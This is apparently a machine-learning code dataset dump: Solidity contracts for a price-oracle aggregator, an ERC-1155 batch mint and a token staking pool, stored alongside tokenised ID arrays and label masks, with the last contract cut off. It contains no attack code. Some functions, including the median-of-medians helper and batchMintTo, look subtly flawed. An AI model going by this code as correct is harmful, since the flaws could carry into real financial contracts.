[ 1, 565, 445, 283, 5768, 395, 1435, 203, 3639, 2395, 23083, 7249, 12, 5743, 13, 203, 3639, 1338, 1585, 932, 2349, 87, 1435, 203, 3639, 1071, 203, 565, 288, 203, 540, 203, 3639, 1758, 389, 10061, 1887, 273, 1234, 18, 15330, 31, 203, 3639, 293, 2012, 11634, 67, 63, 67, 10061, 1887, 65, 1011, 225, 261, 474, 5034, 13, 261, 67, 2892, 350, 5839, 380, 13463, 1769, 203, 540, 203, 3639, 389, 2892, 350, 5839, 1011, 1278, 29084, 13937, 67, 63, 67, 10061, 1887, 15533, 203, 3639, 1278, 29084, 13937, 67, 63, 67, 10061, 1887, 65, 273, 374, 31, 203, 540, 203, 3639, 2254, 5034, 389, 7860, 273, 23701, 5157, 24899, 2892, 350, 5839, 16, 374, 92, 20, 1769, 203, 540, 203, 3639, 3626, 603, 426, 5768, 395, 475, 24899, 10061, 1887, 16, 389, 2892, 350, 5839, 16, 389, 7860, 1769, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.10; import "./interface/CLV2V3Interface.sol"; import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/utils/math/Math.sol"; /** * @title Flux first-party price feed oracle aggregator * @author fluxprotocol.org * @notice Aggregates from multiple first-party price oracles (FluxPriceFeed.sol), compatible with * Chainlink V2 and V3 aggregator interface */ contract FluxPriceAggregator is AccessControl, CLV2V3Interface, Pausable { bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE"); uint32 public latestAggregatorRoundId; // Transmission records the answer from the transmit transaction at // time timestamp struct Transmission { int192 answer; // 192 bits ought to be enough for anyone uint64 timestamp; } mapping(uint32 => Transmission) /* aggregator round ID */ internal transmissions; uint256 public minDelay = 1 minutes; address[] public oracles; /** * @dev Initialize oracles and fetch initial prices * @param _admin the initial admin that can aggregate data from and set the oracles * @param _oracles the oracles to aggregate data from * @param _decimals answers are stored in fixed-point format, with this many digits of precision * @param __description short human-readable description of observable this contract's answers pertain to */ constructor( address _admin, address[] memory _oracles, uint8 _decimals, string memory __description ) { _setupRole(ADMIN_ROLE, _admin); oracles = _oracles; decimals = _decimals; _description = __description; } /* * Versioning */ function typeAndVersion() external pure virtual returns (string memory) { return "FluxPriceAggregator 1.0.0"; } /* * Publicly-callable mutative functions */ /// @notice Update prices, callable by anyone, slower but less gas function updatePricesUsingQuickSort() public whenNotPaused { // require min delay since lastUpdate require(block.timestamp > transmissions[latestAggregatorRoundId].timestamp + minDelay, "Delay required"); int192[] memory oraclesLatestAnswers = new int192[](oracles.length); // Aggregate prices from oracles for (uint256 i = 0; i < oracles.length; i++) { oraclesLatestAnswers[i] = int192(CLV2V3Interface(oracles[i]).latestAnswer()); } int192 _answer = findMedianUsingQuickSort(oraclesLatestAnswers, 0, (oraclesLatestAnswers.length - 1)); // update round latestAggregatorRoundId++; transmissions[latestAggregatorRoundId] = Transmission(_answer, uint64(block.timestamp)); emit AnswerUpdated(_answer, latestAggregatorRoundId, block.timestamp); } /// @notice Update prices, callable by anyone, faster but more gas function updatePricesUsingMedianOfMedians() public whenNotPaused { // require min delay since lastUpdate require(block.timestamp > transmissions[latestAggregatorRoundId].timestamp + minDelay, "Delay required"); int192[] memory oraclesLatestAnswers = new int192[](oracles.length); for (uint256 i = 0; i < oracles.length; i++) { oraclesLatestAnswers[i] = int192(CLV2V3Interface(oracles[i]).latestAnswer()); } int192 _answer = findMedianUsingMedianOfMedians( oraclesLatestAnswers, 0, oraclesLatestAnswers.length - 1, ((oraclesLatestAnswers.length / 2) + 1) ); // update round latestAggregatorRoundId++; transmissions[latestAggregatorRoundId] = Transmission(_answer, uint64(block.timestamp)); emit AnswerUpdated(_answer, latestAggregatorRoundId, block.timestamp); } /// @notice Returns k'th smallest element in arr[left..right] in worst case linear time. /// ASSUMPTION: ALL ELEMENTS IN ARR[] ARE DISTINCT /// @param k = ((arr.length/2) - 1 ) function findMedianUsingMedianOfMedians( int192[] memory arr, uint256 left, uint256 right, uint256 k ) public view returns (int192) { // If k is smaller than the number of elements in array if (k > 0 && k <= right - left + 1) { uint256 n = right - left + 1; // Number of elements in arr[left..right] // Divide arr[] in groups of size 5, // calculate median of every group // and store it in median[] array. uint256 i; // There will be floor((n+4)/5) groups; int192[] memory median = new int192[](((n + 4) / 5)); for (i = 0; i < n / 5; i++) { median[i] = findMedianUsingQuickSort(arr, (left + i * 5), 5); } // For last group with less than 5 elements if (i * 5 < n) { median[i] = findMedianUsingQuickSort(arr, (left + i * 5), ((left + i * 5) + (n % 5) - 1)); i++; } // Find median of all medians using recursive call. // If median[] has only one element, then no need // of recursive call int192 medOfMed = (i == 1) ? median[i - 1] : findMedianUsingMedianOfMedians(median, 0, i - 1, (i / 2)); // Partition the array around a random element and // get position of pivot element in sorted array uint256 pos = partition(arr, left, right, medOfMed); // If position is same as k if (pos - left == k - 1) return arr[pos]; if (pos - left > k - 1) // If position is more, recur for left return findMedianUsingMedianOfMedians(arr, left, pos - 1, k); // Else recurse for right subarray return findMedianUsingMedianOfMedians(arr, pos + 1, right, k - pos + left - 1); } else { revert("Wrong k value"); } } /// @notice Swaps arrays vars function swap( int192[] memory array, uint256 i, uint256 j ) internal pure { (array[i], array[j]) = (array[j], array[i]); } /// @notice It searches for x in arr[left..right], and partitions the array around x. function partition( int192[] memory arr, uint256 left, uint256 right, int192 x ) internal pure returns (uint256) { // Search for x in arr[left..right] and move it to end uint256 i; for (i = left; i < right; i++) { if (arr[i] == x) { break; } } swap(arr, i, right); // Standard partition algorithm i = left; for (uint256 j = left; j <= right - 1; j++) { if (arr[j] <= x) { swap(arr, i, j); i++; } } swap(arr, i, right); return i; } /// @notice Quick sort then returns middles element function findMedianUsingQuickSort( int192[] memory arr, uint256 i, uint256 n ) internal view returns (int192) { if (i <= n) { uint256 length = (n - i) + 1; int192 median; quickSort(arr, i, n); if (length % 2 == 0) { median = ((arr[(length / 2) - 1] + arr[length / 2]) / 2); } else { median = arr[length / 2]; } return median; } else { revert("Error in findMedianUsingQuickSort"); } } function quickSort( int192[] memory arr, uint256 left, uint256 right ) internal view { uint256 i = left; uint256 j = right; if (i == j) return; int192 pivot = arr[uint256(left + (right - left) / 2)]; while (i <= j) { while (arr[uint256(i)] < pivot) i++; while (pivot < arr[uint256(j)]) j--; if (i <= j) { (arr[uint256(i)], arr[uint256(j)]) = (arr[uint256(j)], arr[uint256(i)]); i++; j--; } } if (left < j) quickSort(arr, left, j); if (i < right) quickSort(arr, i, right); } /* * Admin-only functions */ /// @notice Changes min delay, only callable by admin function setDelay(uint256 _minDelay) public { require(hasRole(ADMIN_ROLE, msg.sender), "Caller is not a admin"); minDelay = _minDelay; } /// @notice Changes oracles, only callable by admin function setOracles(address[] memory _oracles) public { require(hasRole(ADMIN_ROLE, msg.sender), "Caller is not a admin"); oracles = _oracles; } /// @notice Pauses or unpauses updating the price, only callable by admin function pause(bool __pause) public { require(hasRole(ADMIN_ROLE, msg.sender), "Caller is not a admin"); if (__pause) { _pause(); } else { _unpause(); } } /// @notice Overrides the price, only callable by admin function setManualAnswer(int192 _answer) public { require(hasRole(ADMIN_ROLE, msg.sender), "Caller is not a admin"); latestAggregatorRoundId++; transmissions[latestAggregatorRoundId] = Transmission(_answer, uint64(block.timestamp)); emit AnswerUpdated(_answer, latestAggregatorRoundId, block.timestamp); } /* * v2 Aggregator interface */ /** * @notice answer from the most recent report */ function latestAnswer() public view virtual override returns (int256) { return transmissions[latestAggregatorRoundId].answer; } /** * @notice timestamp of block in which last report was transmitted */ function latestTimestamp() public view virtual override returns (uint256) { return transmissions[latestAggregatorRoundId].timestamp; } /** * @notice Aggregator round in which last report was transmitted */ function latestRound() public view virtual override returns (uint256) { return latestAggregatorRoundId; } /** * @notice answer of report from given aggregator round * @param _roundId the aggregator round of the target report */ function getAnswer(uint256 _roundId) public view virtual override returns (int256) { if (_roundId > 0xFFFFFFFF) { return 0; } return transmissions[uint32(_roundId)].answer; } /** * @notice timestamp of block in which report from given aggregator round was transmitted * @param _roundId aggregator round of target report */ function getTimestamp(uint256 _roundId) public view virtual override returns (uint256) { if (_roundId > 0xFFFFFFFF) { return 0; } return transmissions[uint32(_roundId)].timestamp; } /* * v3 Aggregator interface */ string private constant V3_NO_DATA_ERROR = "No data present"; /** * @return answers are stored in fixed-point format, with this many digits of precision */ uint8 public immutable override decimals; /** * @notice aggregator contract version */ uint256 public constant override version = 1; string internal _description; /** * @notice human-readable description of observable this contract is reporting on */ function description() public view virtual override returns (string memory) { return _description; } /** * @notice details for the given aggregator round * @param _roundId target aggregator round. Must fit in uint32 * @return roundId _roundId * @return answer answer of report from given _roundId * @return startedAt timestamp of block in which report from given _roundId was transmitted * @return updatedAt timestamp of block in which report from given _roundId was transmitted * @return answeredInRound _roundId */ function getRoundData(uint80 _roundId) public view virtual override returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ) { require(_roundId <= 0xFFFFFFFF, V3_NO_DATA_ERROR); Transmission memory transmission = transmissions[uint32(_roundId)]; return (_roundId, transmission.answer, transmission.timestamp, transmission.timestamp, _roundId); } /** * @notice aggregator details for the most recently transmitted report * @return roundId aggregator round of latest report * @return answer answer of latest report * @return startedAt timestamp of block containing latest report * @return updatedAt timestamp of block containing latest report * @return answeredInRound aggregator round of latest report */ function latestRoundData() public view virtual override returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ) { roundId = latestAggregatorRoundId; // Skipped for compatability with existing FluxAggregator in which latestRoundData never reverts. // require(roundId != 0, V3_NO_DATA_ERROR); Transmission memory transmission = transmissions[uint32(roundId)]; return (roundId, transmission.answer, transmission.timestamp, transmission.timestamp, roundId); } }
@notice Overrides the price, only callable by admin
function setManualAnswer(int192 _answer) public { require(hasRole(ADMIN_ROLE, msg.sender), "Caller is not a admin"); latestAggregatorRoundId++; transmissions[latestAggregatorRoundId] = Transmission(_answer, uint64(block.timestamp)); emit AnswerUpdated(_answer, latestAggregatorRoundId, block.timestamp); }
2,515,297
[ 1, 13084, 326, 6205, 16, 1338, 4140, 635, 3981, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 444, 25139, 13203, 12, 474, 15561, 389, 13490, 13, 1071, 288, 203, 3639, 2583, 12, 5332, 2996, 12, 15468, 67, 16256, 16, 1234, 18, 15330, 3631, 315, 11095, 353, 486, 279, 3981, 8863, 203, 3639, 4891, 17711, 11066, 548, 9904, 31, 203, 3639, 906, 7300, 63, 13550, 17711, 11066, 548, 65, 273, 2604, 3951, 24899, 13490, 16, 2254, 1105, 12, 2629, 18, 5508, 10019, 203, 3639, 3626, 21019, 7381, 24899, 13490, 16, 4891, 17711, 11066, 548, 16, 1203, 18, 5508, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/80001/0x0dAB4321f9D50d8BbD3Fd6a0CFe7AA5c7e0CEF7A/sources/src/LS1155.sol
Only set baseURI and nextTokenIdToMint_ when there are no tokens minted yet
function batchMintTo( address _to, uint256[] memory _amounts, string memory _baseURI ) public virtual { require(_canMint(), "Not authorized to mint."); require(_amounts.length > 0, "Minting zero tokens."); uint256[] memory _tokenIds = new uint256[](_amounts.length); for (uint256 i = 0; i < _amounts.length; i++) { _tokenIds[i] = tokenIdToMint; } if (nextTokenIdToMint_ == 0) { _batchMintMetadata(tokenIdToMint, _amounts.length, _baseURI); } _mintBatch(_to, _tokenIds, _amounts, ""); }
5,643,199
[ 1, 3386, 444, 1026, 3098, 471, 9617, 28803, 49, 474, 67, 1347, 1915, 854, 1158, 2430, 312, 474, 329, 4671, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 2581, 49, 474, 774, 12, 203, 3639, 1758, 389, 869, 16, 203, 3639, 2254, 5034, 8526, 3778, 389, 8949, 87, 16, 203, 3639, 533, 3778, 389, 1969, 3098, 203, 565, 262, 1071, 5024, 288, 203, 3639, 2583, 24899, 4169, 49, 474, 9334, 315, 1248, 10799, 358, 312, 474, 1199, 1769, 203, 3639, 2583, 24899, 8949, 87, 18, 2469, 405, 374, 16, 315, 49, 474, 310, 3634, 2430, 1199, 1769, 203, 203, 3639, 2254, 5034, 8526, 3778, 389, 2316, 2673, 273, 394, 2254, 5034, 8526, 24899, 8949, 87, 18, 2469, 1769, 203, 3639, 364, 261, 11890, 5034, 277, 273, 374, 31, 277, 411, 389, 8949, 87, 18, 2469, 31, 277, 27245, 288, 203, 5411, 389, 2316, 2673, 63, 77, 65, 273, 1147, 28803, 49, 474, 31, 203, 3639, 289, 203, 203, 3639, 309, 261, 4285, 1345, 28803, 49, 474, 67, 422, 374, 13, 288, 203, 5411, 389, 5303, 49, 474, 2277, 12, 2316, 28803, 49, 474, 16, 389, 8949, 87, 18, 2469, 16, 389, 1969, 3098, 1769, 203, 3639, 289, 203, 203, 3639, 389, 81, 474, 4497, 24899, 869, 16, 389, 2316, 2673, 16, 389, 8949, 87, 16, 1408, 1769, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // import "hardhat/console.sol"; import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; // OZ contracts v4 import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; // OZ contracts v4 contract PolsStake is AccessControl, ReentrancyGuard { using SafeERC20 for IERC20; // bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE"); event Stake(address indexed wallet, uint256 amount, uint256 date); event Withdraw(address indexed wallet, uint256 amount, uint256 date); event Claimed(address indexed wallet, address indexed rewardToken, uint256 amount); event RewardTokenChanged(address indexed oldRewardToken, uint256 returnedAmount, address indexed newRewardToken); event LockTimePeriodChanged(uint48 lockTimePeriod); event StakeRewardFactorChanged(uint256 stakeRewardFactor); event StakeRewardEndTimeChanged(uint48 stakeRewardEndTime); event RewardsBurned(address indexed staker, uint256 amount); event ERC20TokensRemoved(address indexed tokenAddress, address indexed receiver, uint256 amount); uint48 public constant MAX_TIME = type(uint48).max; // = 2^48 - 1 struct User { uint48 stakeTime; uint48 unlockTime; uint160 stakeAmount; uint256 accumulatedRewards; } mapping(address => User) public userMap; uint256 public tokenTotalStaked; // sum of all staked tokens address public immutable stakingToken; // address of token which can be staked into this contract address public rewardToken; // address of reward token /** * Using block.timestamp instead of block.number for reward calculation * 1) Easier to handle for users * 2) Should result in same rewards across different chain with different block times * 3) "The current block timestamp must be strictly larger than the timestamp of the last block, ... * but the only guarantee is that it will be somewhere between the timestamps ... * of two consecutive blocks in the canonical chain." * https://docs.soliditylang.org/en/v0.7.6/cheatsheet.html?highlight=block.timestamp#global-variables */ uint48 public lockTimePeriod; // time in seconds a user has to wait after calling unlock until staked token can be withdrawn uint48 public stakeRewardEndTime; // unix time in seconds when the reward scheme will end uint256 public stakeRewardFactor; // time in seconds * amount of staked token to receive 1 reward token constructor(address _stakingToken, uint48 _lockTimePeriod) { require(_stakingToken != address(0), "stakingToken.address == 0"); require(_lockTimePeriod < 366 days, "lockTimePeriod >= 366 days"); stakingToken = _stakingToken; lockTimePeriod = _lockTimePeriod; // set some defaults stakeRewardFactor = 1000 * 1 days; // default : a user has to stake 1000 token for 1 day to receive 1 reward token stakeRewardEndTime = uint48(block.timestamp + 366 days); // default : reward scheme ends in 1 year _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); } /** * based on OpenZeppelin SafeCast v4.3 * https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.3/contracts/utils/math/SafeCast.sol */ function toUint48(uint256 value) internal pure returns (uint48) { require(value <= type(uint48).max, "value doesn't fit in 48 bits"); return uint48(value); } function toUint160(uint256 value) internal pure returns (uint160) { require(value <= type(uint160).max, "value doesn't fit in 160 bits"); return uint160(value); } /** * External API functions */ function stakeTime(address _staker) external view returns (uint48 dateTime) { return userMap[_staker].stakeTime; } function stakeAmount(address _staker) external view returns (uint256 balance) { return userMap[_staker].stakeAmount; } // redundant with stakeAmount() for compatibility function balanceOf(address _staker) external view returns (uint256 balance) { return userMap[_staker].stakeAmount; } function userAccumulatedRewards(address _staker) external view returns (uint256 rewards) { return userMap[_staker].accumulatedRewards; } /** * @dev return unix epoch time when staked tokens will be unlocked * @dev return MAX_INT_UINT48 = 2**48-1 if user has no token staked * @dev this always allows an easy check with : require(block.timestamp > getUnlockTime(account)); * @return unlockTime unix epoch time in seconds */ function getUnlockTime(address _staker) public view returns (uint48 unlockTime) { return userMap[_staker].stakeAmount > 0 ? userMap[_staker].unlockTime : MAX_TIME; } /** * @return balance of reward tokens held by this contract */ function getRewardTokenBalance() public view returns (uint256 balance) { if (rewardToken == address(0)) return 0; balance = IERC20(rewardToken).balanceOf(address(this)); if (stakingToken == rewardToken) { balance -= tokenTotalStaked; } } // onlyOwner / DEFAULT_ADMIN_ROLE functions -------------------------------------------------- /** * @notice setting rewardToken to address(0) disables claim/mint * @notice if there was a reward token set before, return remaining tokens to msg.sender/admin * @param newRewardToken address */ function setRewardToken(address newRewardToken) external nonReentrant onlyRole(DEFAULT_ADMIN_ROLE) { address oldRewardToken = rewardToken; uint256 rewardBalance = getRewardTokenBalance(); // balance of oldRewardToken if (rewardBalance > 0) { IERC20(oldRewardToken).safeTransfer(msg.sender, rewardBalance); } rewardToken = newRewardToken; emit RewardTokenChanged(oldRewardToken, rewardBalance, newRewardToken); } /** * @notice set time a user has to wait after calling unlock until staked token can be withdrawn * @param _lockTimePeriod time in seconds */ function setLockTimePeriod(uint48 _lockTimePeriod) external onlyRole(DEFAULT_ADMIN_ROLE) { lockTimePeriod = _lockTimePeriod; emit LockTimePeriodChanged(_lockTimePeriod); } /** * @notice see calculateUserClaimableReward() docs * @dev requires that reward token has the same decimals as stake token * @param _stakeRewardFactor time in seconds * amount of staked token to receive 1 reward token */ function setStakeRewardFactor(uint256 _stakeRewardFactor) external onlyRole(DEFAULT_ADMIN_ROLE) { stakeRewardFactor = _stakeRewardFactor; emit StakeRewardFactorChanged(_stakeRewardFactor); } /** * @notice set block time when stake reward scheme will end * @param _stakeRewardEndTime unix time in seconds */ function setStakeRewardEndTime(uint48 _stakeRewardEndTime) external onlyRole(DEFAULT_ADMIN_ROLE) { require(stakeRewardEndTime > block.timestamp, "time has to be in the future"); stakeRewardEndTime = _stakeRewardEndTime; emit StakeRewardEndTimeChanged(_stakeRewardEndTime); } /** * ADMIN_ROLE has to set BURNER_ROLE * allows an external (lottery token sale) contract to substract rewards */ function burnRewards(address _staker, uint256 _amount) external onlyRole(BURNER_ROLE) { User storage user = _updateRewards(_staker); if (_amount < user.accumulatedRewards) { user.accumulatedRewards -= _amount; // safe } else { user.accumulatedRewards = 0; // burn at least all what's there } emit RewardsBurned(_staker, _amount); } /** msg.sender external view convenience functions *********************************/ function stakeAmount_msgSender() public view returns (uint256) { return userMap[msg.sender].stakeAmount; } function stakeTime_msgSender() external view returns (uint48) { return userMap[msg.sender].stakeTime; } function getUnlockTime_msgSender() external view returns (uint48 unlockTime) { return getUnlockTime(msg.sender); } function userClaimableRewards_msgSender() external view returns (uint256) { return userClaimableRewards(msg.sender); } function userAccumulatedRewards_msgSender() external view returns (uint256) { return userMap[msg.sender].accumulatedRewards; } function userTotalRewards_msgSender() external view returns (uint256) { return userTotalRewards(msg.sender); } function getEarnedRewardTokens_msgSender() external view returns (uint256) { return getEarnedRewardTokens(msg.sender); } /** public external view functions (also used internally) **************************/ /** * calculates unclaimed rewards * unclaimed rewards = expired time since last stake/unstake transaction * current staked amount * * We have to cover 6 cases here : * 1) block time < stake time < end time : should never happen => error * 2) block time < end time < stake time : should never happen => error * 3) end time < block time < stake time : should never happen => error * 4) end time < stake time < block time : staked after reward period is over => no rewards * 5) stake time < block time < end time : end time in the future * 6) stake time < end time < block time : end time in the past & staked before * @param _staker address * @return claimableRewards = timePeriod * stakeAmount */ function userClaimableRewards(address _staker) public view returns (uint256) { User storage user = userMap[_staker]; // case 1) 2) 3) // stake time in the future - should never happen - actually an (internal ?) error if (block.timestamp <= user.stakeTime) return 0; // case 4) // staked after reward period is over => no rewards // end time < stake time < block time if (stakeRewardEndTime <= user.stakeTime) return 0; uint256 timePeriod; // case 5 // we have not reached the end of the reward period // stake time < block time < end time if (block.timestamp <= stakeRewardEndTime) { timePeriod = block.timestamp - user.stakeTime; // covered by case 1) 2) 3) 'if' } else { // case 6 // user staked before end of reward period , but that is in the past now // stake time < end time < block time timePeriod = stakeRewardEndTime - user.stakeTime; // covered case 4) } return timePeriod * user.stakeAmount; } function userTotalRewards(address _staker) public view returns (uint256) { return userClaimableRewards(_staker) + userMap[_staker].accumulatedRewards; } function getEarnedRewardTokens(address _staker) public view returns (uint256 claimableRewardTokens) { if (address(rewardToken) == address(0) || stakeRewardFactor == 0) { return 0; } else { return userTotalRewards(_staker) / stakeRewardFactor; // safe } } /** * @dev whenver the staked balance changes do ... * * @dev calculate userClaimableRewards = previous staked amount * (current time - last stake time) * @dev add userClaimableRewards to userAccumulatedRewards * @dev reset userClaimableRewards to 0 by setting stakeTime to current time * @dev not used as doing it inline, local, within a function consumes less gas * * @return user reference pointer for further processing */ function _updateRewards(address _staker) internal returns (User storage user) { // calculate reward credits using previous staking amount and previous time period // add new reward credits to already accumulated reward credits user = userMap[_staker]; user.accumulatedRewards += userClaimableRewards(_staker); // update stake Time to current time (start new reward period) // will also reset userClaimableRewards() user.stakeTime = toUint48(block.timestamp); } /** * add stake token to staking pool * @dev requires the token to be approved for transfer * @dev we assume that (our) stake token is not malicious, so no special checks * @param _amount of token to be staked */ function _stake(uint256 _amount) internal returns (uint256) { require(_amount > 0, "stake amount must be > 0"); User storage user = _updateRewards(msg.sender); // update rewards and return reference to user user.stakeAmount = toUint160(user.stakeAmount + _amount); tokenTotalStaked += _amount; user.unlockTime = toUint48(block.timestamp + lockTimePeriod); // using SafeERC20 for IERC20 => will revert in case of error IERC20(stakingToken).safeTransferFrom(msg.sender, address(this), _amount); emit Stake(msg.sender, _amount, toUint48(block.timestamp)); // = user.stakeTime return _amount; } /** * withdraw staked token, ... * do not withdraw rewards token (it might not be worth the gas) * @return amount of tokens sent to user's account */ function _withdraw(uint256 amount) internal returns (uint256) { require(amount > 0, "amount to withdraw not > 0"); require(block.timestamp > getUnlockTime(msg.sender), "staked tokens are still locked"); User storage user = _updateRewards(msg.sender); // update rewards and return reference to user require(amount <= user.stakeAmount, "withdraw amount > staked amount"); user.stakeAmount -= toUint160(amount); tokenTotalStaked -= amount; // using SafeERC20 for IERC20 => will revert in case of error IERC20(stakingToken).safeTransfer(msg.sender, amount); emit Withdraw(msg.sender, amount, toUint48(block.timestamp)); // = user.stakeTime return amount; } /** * claim reward tokens for accumulated reward credits * ... but do not unstake staked token */ function _claim() internal returns (uint256) { require(rewardToken != address(0), "no reward token contract"); uint256 earnedRewardTokens = getEarnedRewardTokens(msg.sender); require(earnedRewardTokens > 0, "no tokens to claim"); // like _updateRewards() , but reset all rewards to 0 User storage user = userMap[msg.sender]; user.accumulatedRewards = 0; user.stakeTime = toUint48(block.timestamp); // will reset userClaimableRewards to 0 // user.stakeAmount = unchanged require(earnedRewardTokens <= getRewardTokenBalance(), "not enough reward tokens"); // redundant but dedicated error message IERC20(rewardToken).safeTransfer(msg.sender, earnedRewardTokens); emit Claimed(msg.sender, rewardToken, earnedRewardTokens); return earnedRewardTokens; } function stake(uint256 _amount) external nonReentrant returns (uint256) { return _stake(_amount); } function claim() external nonReentrant returns (uint256) { return _claim(); } function withdraw(uint256 amount) external nonReentrant returns (uint256) { return _withdraw(amount); } function withdrawAll() external nonReentrant returns (uint256) { return _withdraw(stakeAmount_msgSender()); } /** * Do not accept accidently sent ETH : * If neither a receive Ether nor a payable fallback function is present, * the contract cannot receive Ether through regular transactions and throws an exception. * https://docs.soliditylang.org/en/v0.8.7/contracts.html#receive-ether-function */ /** * @notice withdraw accidently sent ERC20 tokens * @param _tokenAddress address of token to withdraw */ function removeOtherERC20Tokens(address _tokenAddress) external onlyRole(DEFAULT_ADMIN_ROLE) { require(_tokenAddress != address(stakingToken), "can not withdraw staking token"); uint256 balance = IERC20(_tokenAddress).balanceOf(address(this)); IERC20(_tokenAddress).safeTransfer(msg.sender, balance); emit ERC20TokensRemoved(_tokenAddress, msg.sender, balance); 